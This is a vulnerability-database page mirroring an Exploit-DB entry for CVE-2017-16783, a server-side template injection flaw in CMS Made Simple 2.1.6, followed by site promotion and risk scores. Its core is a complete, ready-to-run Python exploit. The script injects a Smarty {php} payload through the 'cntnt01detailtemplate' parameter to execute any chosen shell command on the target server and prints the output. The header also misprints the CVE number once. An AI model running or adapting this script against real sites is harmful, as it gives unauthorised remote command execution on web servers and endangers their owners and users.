Lucene search
K

CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection

🗓️ 26 Oct 2020 00:00:00Reported by Gurkirat SinghType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 375 Views

CMS Made Simple 2.1.6 Server-Side Template Injection CVE-2017-1678

Related
Code
ReporterTitlePublishedViews
Family
0day.today
CMS Made Simple 2.1.6 Cross Site Scripting / Template Injection Vulnerabilities
28 Nov 201700:00
zdt
CNVD
CMS Made Simple server-side template injection vulnerability
13 Nov 201700:00
cnvd
CVE
CVE-2017-16783
10 Nov 201723:00
cve
Cvelist
CVE-2017-16783
10 Nov 201723:00
cvelist
NVD
CVE-2017-16783
10 Nov 201723:29
nvd
OpenVAS
CMS Made Simple 2.1.6 Template Injection Vulnerability
13 Nov 201700:00
openvas
Packet Storm
CMS Made Simple 2.1.6 Server-Side Template Injection
26 Oct 202000:00
packetstorm
Prion
Sql injection
10 Nov 201723:29
prion
# Exploit Title: CMS Made Simple 2.1.6 - 'cntnt01detailtemplate' Server-Side Template Injection
# Google Dork: N/A
# Date: 11/10/2017
# Exploit Author: Gurkirat Singh <[email protected]>
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: N/A
# Version: 2.1.6
# Tested on: Linux
# CVE : CVE-2017-16783
# POC : https://www.netsparker.com/blog/web-security/exploiting-ssti-and-xss-in-cms-made-simple/

PFA
-------
Gurkirat Singh
(tbhaxor <https://google.com/search?q=tbhaxor>)

from argparse import ArgumentParser, RawTextHelpFormatter
from urllib.parse import urlparse, parse_qs, urlencode, quote, unquote_plus
import requests as http
import re
from bs4 import BeautifulSoup, Tag
from huepy import *
parser = ArgumentParser(description="Exploit for CVE-2017-16783",
                        formatter_class=RawTextHelpFormatter)
parser.add_argument(
    "--target",
    "-t",
    help="complete remote target with protocol, host, path and query",
    required=True,
    dest="t")
parser.add_argument("--command",
                    "-c",
                    help="command to execute (default: whoami)",
                    default="whoami",
                    dest="c")
args = parser.parse_args()

print(info("Building malicious url"))
url = urlparse(args.t)
query = parse_qs(url.query)
query["cntnt01detailtemplate"] = [
    "string:{php}echo `echo tbhaxor;%s;echo tbhaxor`;{/php}" % args.c
]
query = {k: ",".join(v) for k, v in query.items()}
query = unquote_plus(urlencode(query, doseq=False))
_url = url.scheme + "://" + url.netloc + url.path + "?" + query
print(good("Done"))
print(info("Executing payload"))
r = http.get(_url)
html = BeautifulSoup(r.content.decode(), "html5lib")
main: Tag = html.find("article", {"id": "main"})
main = re.sub(r"^Home", "", main.text.strip()).replace("tbhaxor", "").strip()
print(good("Done"))
print(info("Result"))
print(main)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2020 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 27.5
CVSS 3.19.8
EPSS0.09872
375